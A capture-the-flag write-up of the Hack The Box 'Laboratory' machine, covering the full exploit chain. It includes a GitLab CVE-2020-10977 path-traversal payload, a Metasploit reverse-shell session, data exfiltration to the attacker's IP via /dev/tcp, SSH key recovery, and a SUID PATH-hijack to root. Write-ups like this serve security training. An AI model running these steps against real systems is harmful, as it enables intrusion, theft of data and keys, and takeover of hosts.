Laboratory is features an instance of GitLab application in a docker container. The application is known to be vulnerable to an arbitrary file read that can be leveraged to read the application’s secret, allowing an attacker to craft his own malicious cookie and perform a de-serialization attack to gain a foothold on the container. Enumerating inside the container reveals a private user repository that contains a pair of SSH keys. The keys allows me to logs into the machine. From there, I’m able to gain a foothold on the box using the SSH private key. There is a SUID binary that calls chmod
with relative path, making it vulnerable to path hijacking.
Skills Learned
- Arbitrary File Read
- Adding Metasploit module
- Exploiting GitLab 12.8.1~12.9.0
- Recover a git repository
- SUID exploitation
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- Metasploit - Preinstalled in Kali Linux
- CVE-2020-10997 Exploit PoC - https://github.com/thewhiteh4t/cve-2020-10977
Reconnaissance
Nmap
Initial scan with nmap
shows 3 ports open, they are SSH on port 22, HTTP on port 80, and HTTPS on port 443.
→ root@iamf «laboratory» «10.10.14.39»
$ nmap -sC -sV -oA scans/10-initial-laboratory 10.10.10.216
...[SNIP]...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Issuer: commonName=laboratory.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-05T10:39:28
| Not valid after: 2024-03-03T10:39:28
| MD5: 2873 91a5 5022 f323 4b95 df98 b61a eb6c
|_SHA-1: 0875 3a7e eef6 8f50 0349 510d 9fbf abc3 c70a a1ca
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...[SNIP]...
From the scan above, visiting port 80 will be redirected to https://laboratory.htb
.
On the HTTPS port, the certificate discloses a subdomain.
From here, I’ll add laboratory.htb
and git.laboratory.htb
as well to /etc/hosts
→ root@iamf «laboratory» «10.10.14.39»
$ echo '10.10.10.216 laboratory.htb git.laboratory.htb' > /etc/hosts
Enumeration
TCP 80 - laboratory.htb
There is nothing really interesting here.
TCP 443 - git.laboratory.htb
A GitLab instance is presented on this page.
I tried to register an account, but GitLab rejected it by saying the email domain was not authorized.
I changed my email to iamf@laboratory.htb
and it works.
The first thing I do is to check the GitLab version. It is available on the “Help” section and the current version is 12.8.1.
I found another user on this website named Dexter McPherson
. This user has a project called SecureWebsite
Searchsploit
searchsploit
shows several exploits for GitLab. One that stands out is an arbitrary file read vulnerability on version 12.9.0 which might work as well on version 12.8.1.
→ root@iamf «laboratory» «10.10.14.39»
$ searchsploit gitlab
------------------------------------------------------------------------- -----------------------------
Exploit Title | Path
------------------------------------------------------------------------- -----------------------------
GitLab - 'impersonate' Feature Privilege Escalation | ruby/webapps/40236.txt
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1) | ruby/webapps/49257.py
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated) | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh
Gitlab-shell - Code Execution (Metasploit) | linux/remote/34362.rb
Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting | java/webapps/47927.txt
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution | json/webapps/47420.txt
------------------------------------------------------------------------- ------------------------------
Foothold
Shell as git
GitLab CVE-2020-10977 - Manual
CVE-2020-10977: GitLab EE/CE 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects.
The arbitrary file read vulnerability is classified as CVE-2020–10977. The report can be found at Hackerone. The researcher also shows how that vulnerability can be turned into a remote code execution.
I’ll reproduce the vulnerability by creating two projects. I’ll name it as “project1” and “project2”.
After that I’ll create an issue on “project2” and fill the issue description with a payload as follows:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
I’ll then move the issue on “project2” to “project1”
The payload will then turn into an attached file.
The attached file contains the content of /etc/passwd
file from the system.
GitLab CVE-2020-10977 - Automated
There is also an automated version to exploit this vulnerability written in Python.
→ root@iamf «laboratory» «10.10.14.39»
$ python3 cve_2020_10977.py https://git.laboratory.htb/ iamf iamfiamf
...<SNIP>...
[+] Target : https://git.laboratory.htb
[+] Username : iamf
[+] Password : iamfiamf
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : https://git.laboratory.htb/iamf/ProjectTwo/uploads/9335567cda468be5d53e6ddcca1412e4/passwd
> /etc/passwd
----------------------------------------
...<SNIP>...
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
...<SNIP>...
LFI to RCE
To turns this arbitrary file read vulnerability into a remote code execution, I’ll need to setup my own GitLab instance with the same version as the one on Laboratory. Then I’ll have to replace my GitLab secret_key_base
with the one on Laboratory (located on /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
). After that all is set, I’ve to craft my own cookie to get the code execution on the system.
Fortunately, there is a Metasploit module to perform this automatically, and I’ll use that.
First, I’ll have to grab the module from GitHub and put it into /usr/share/metasploit-framework/modules/exploits/multi/http
.
→ root@iamf «laboratory» «10.10.14.39»
$ cd /usr/share/metasploit-framework/modules/exploits/multi/http && wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/gitlab_file_read_rce.rb
After that I’ll re-initialize the metasploit database using msfdb
.
→ root@iamf «laboratory» «10.10.14.39»
$ msfdb reinit
[+] Starting database
[+] Dropping databases 'msf'
[+] Dropping databases 'msf_test'
[+] Dropping database user 'msf'
[+] Deleting configuration file /usr/share/metasploit-framework/config/database.yml
[+] Stopping database
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
Now on Metasploit, I can use the module by issuing the command below:
msf6 > use exploit/multi/http/gitlab_file_read_rce
[*] No payload configured, defaulting to generic/shell_reverse_tcp
Below are the options needed by the module.
msf6 exploit(multi/http/gitlab_file_read_rce) > set USERNAME iamf
USERNAME => iamf
msf6 exploit(multi/http/gitlab_file_read_rce) > set PASSWORD iamfiamf
PASSWORD => iamfiamf
msf6 exploit(multi/http/gitlab_file_read_rce) > set RHOSTS 10.10.10.216
RHOSTS => 10.10.10.216
msf6 exploit(multi/http/gitlab_file_read_rce) > set RPORT 443
RPORT => 443
msf6 exploit(multi/http/gitlab_file_read_rce) > set SSL true
[!] Changing the SSL option’s value may require changing RPORT!
SSL => true
msf6 exploit(multi/http/gitlab_file_read_rce) > set VHOST git.laboratory.htb
VHOST => git.laboratory.htb
msf6 exploit(multi/http/gitlab_file_read_rce) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/http/gitlab_file_read_rce) > set LPORT 9001
LPORT => 9001
After all the required options are set, I’ll start the exploit with the run
command.
msf6 exploit(multi/http/gitlab_file_read_rce) > run
[*] Started reverse TCP handler on 10.10.14.39:9001
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user iamf
[*] Created project /iamf/hpt2TORA
[*] Created project /iamf/ysGE0u0L
[*] Created issue /iamf/hpt2TORA/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/root/.msf4/loot/20210321174611_default_10.10.10.216_gitlab.secrets_490542.txt'
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /iamf/hpt2TORA
[*] Deleted project /iamf/hpt2TORA
[*] Attempting to delete project /iamf/ysGE0u0L
[*] Deleted project /iamf/ysGE0u0L
[*] Command shell session 1 opened (10.10.14.39:9001 -> 10.10.10.216:52726) at 2021-03-21 17:46:14 -0400
id;hostname
uid=998(git) gid=998(git) groups=998(git)
git.laboratory.htb
I have shell as user git
.
There is a .dockerenv
file in the root directory, which indicates that I’m inside a docker container.
ls -la /
total 88
drwxr-xr-x 1 root root 4096 Jul 2 2020 .
drwxr-xr-x 1 root root 4096 Jul 2 2020 ..
-rwxr-xr-x 1 root root 0 Jul 2 2020 .dockerenv
-rw-r--r-- 1 root root 157 Feb 24 2020 RELEASE
drwxr-xr-x 2 root root 4096 Feb 24 2020 assets
Privilege Escalation
Shell as dexter
Container enumeration
Enumerating the git
home directory (/var/opt/gitlab
) discovers two repositories that belongs to user dexter
.
git@git:~$ grep -Ri dexter 2>/dev/null
git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git/config: fullpath = dexter/securedocker
git-data/repositories/@hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git/config: fullpath = dexter/securewebsite
I haven’t seen that dexter/securedocker
before in the GitLab application. So I’ll grab that repository and transfer it to my machine
git@git:~/git-data/repositories/@hashed/19/58$ ls -la 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
total 40
drwxr-s--- 6 git root 4096 Jul 5 2020 .
drwxr-s--- 4 git root 4096 Jul 5 2020 ..
-rw-r--r-- 1 git root 23 Jul 5 2020 HEAD
-rw-r--r-- 1 git root 107 Jul 5 2020 config
-rw-r--r-- 1 git root 73 Jul 5 2020 description
drwxr-sr-x 2 git root 4096 Jul 5 2020 hooks
drwxr-sr-x 2 git root 4096 Jul 5 2020 info
-rw-r--r-- 1 git root 112 Jul 5 2020 language-stats.cache
drwxr-sr-x 14 git root 4096 Jul 5 2020 objects
drwxr-sr-x 4 git root 4096 Jul 5 2020 refs
First, I’ll create a tarball archive of that repository and I’ll name it as exfil-securedocker-git.tar
.
git@git:~/git-data/repositories/@hashed/19/58/$ tar -czf /tmp/exfil-securedocker-git.tar 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
On my machine, I’ll setup a listener
→ root@iamf «loot» «10.10.14.39»
$ nc -nvlp 9000 > exfil-securedocker-git.tar
Back on Laboratory, I’ll send the repository tarball to my machine using cat
and bash
trick
git@git:~/git-data/repositories/@hashed/19/58/$ cat /tmp/exfil-securedocker-git.tar > /dev/tcp/10.10.14.39/9000
My listener received the tarball.
→ root@iamf «loot» «10.10.14.39»
$ nc -nvlp 9000 > exfil-securedocker-git.tar
listening on [any] 9000 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.10.216] 42426
Recovering ‘securedocker’ repository
After extracting the repository, git:(master)
popped up in my zsh prompt which indicates this is a git repository.
→ root@iamf «loot» «10.10.14.39»
$ tar -xzf exfil-securedocker-git.tar
→ root@iamf «loot» «10.10.14.39»
$ cd 19581e27de7ced....5ef03f7c3017bb5b7.git
→ root@iamf «19581e27de7ced....5ef03f7c3017bb5b7.git» «10.10.14.39» git:(master)
$
But, when I try to read the repository status, it returns the following errors.
→ root@iamf «19581e27de7ced....5ef03f7c3017bb5b7.git» «10.10.14.39» git:(master)
$ git status
fatal: this operation must be run in a work tree
I’ve renamed
19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
tosecure-docker.git
.
This problem can be resolved by creating a new .git
folder within secure-docker.git
and transferring all the files from secure-docker.git
to the newly created .git
.
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master)
$ mkdir .git
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master)
$ mv * .git
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master)
$ git status
fatal: this operation must be run in a work tree
Finally, use the git init
command to re-initialize the git repository.
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master)
$ git init
Reinitialized existing Git repository in /root/htb/to-do/laboratory/loot/secure-docker.git/.git/
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ git status
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
deleted: README.md
deleted: create_gitlab.sh
deleted: dexter/.ssh/authorized_keys
deleted: dexter/.ssh/id_rsa
deleted: dexter/recipe.url
deleted: dexter/todo.txt
This repository contains a set of SSH keys that have been deleted. I can restore these with git checkout --
command.
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ git checkout --
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ ls -la
total 20
drwxr-xr-x 3 root root 4096 Mar 22 09:36 .
drwxr-xr-x 4 root root 4096 Mar 22 09:36 ..
-rw-r--r-- 1 root root 102 Mar 22 09:36 recipe.url
drwxr-xr-x 2 root root 4096 Mar 22 09:36 .ssh
-rw-r--r-- 1 root root 160 Mar 22 09:36 todo.txt
SSH - dexter
I can now login as dexter
using the SSH key I obtained.
At first try, it says the key is invalid format, but this can be fixed wit by adding an empty string (newline) using the echo
command.
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ chmod 600 dexter/.ssh/id_rsa
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ ssh -i dexter/.ssh/id_rsa dexter@10.10.10.216
Load key "id_rsa": invalid format
dexter@10.10.10.216: Permission denied (publickey).
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ echo '' >> dexter/.ssh/id_rsa
Now it logs me in.
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ ssh -i id_rsa dexter@10.10.10.216
dexter@laboratory:~$
dexter@laboratory:~$ id;hostname
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
laboratory
dexter@laboratory:~$ ls -l
total 4
-r--r----- 1 root dexter 33 Mar 22 10:06 user.txt
Shell as root
Enumeration
The contents of todo.txt
talks something about “docker security”, but I have no idea what it is except it uses three hashtags.
→ root@iamf «secure-docker.git» «10.10.14.39» git:(master) ✗
$ cat dexter/todo.txt
# DONE: Secure docker for regular users
### DONE: Automate docker security on startup
# TODO: Look into "docker compose"
# TODO: Permanently ban DeeDee from lab#
It turns out it’s a binary name which has a SUID bit set found by Linpeas.
...<SNIP>...
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root dexter 17K Aug 28 2020 /usr/local/bin/docker-security
Inspecting the binary with the ltrace
command reveals that it uses relative path to call chmod
.
dexter@laboratory:~$ ltrace docker-security
setuid(0) = -1
setgid(0) = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++
Knowing this, I could hijack the execution path.
SUID - Path Hijack
First, I’ll create a fake chmod
that calls bash
binary at /dev/shm
, I’ll also add an execute permission on that file.
dexter@laboratory:~$ cd /dev/shm
dexter@laboratory:/dev/shm$ echo -e '#!/bin/bash\n/bin/bash' > chmod
dexter@laboratory:/dev/shm$ /bin/chmod +x chmod
Next, I’ll add current directory (/dev/shm
) to $PATH
variable. Now if I call chmod
, it points to my chmod
on /dev/shm
.
dexter@laboratory:/dev/shm$ export PATH=$(pwd):$PATH
dexter@laboratory:/dev/shm$ which chmod
/dev/shm/chmod
And now I can just execute docker-security
to obtain a root access as well as the root flag.
dexter@laboratory:/dev/shm$ docker-security
root@laboratory:/dev/shm#
root@laboratory:/dev/shm# cut -c6- /root/root.txt
9f593f335a0a1f403c753719eb6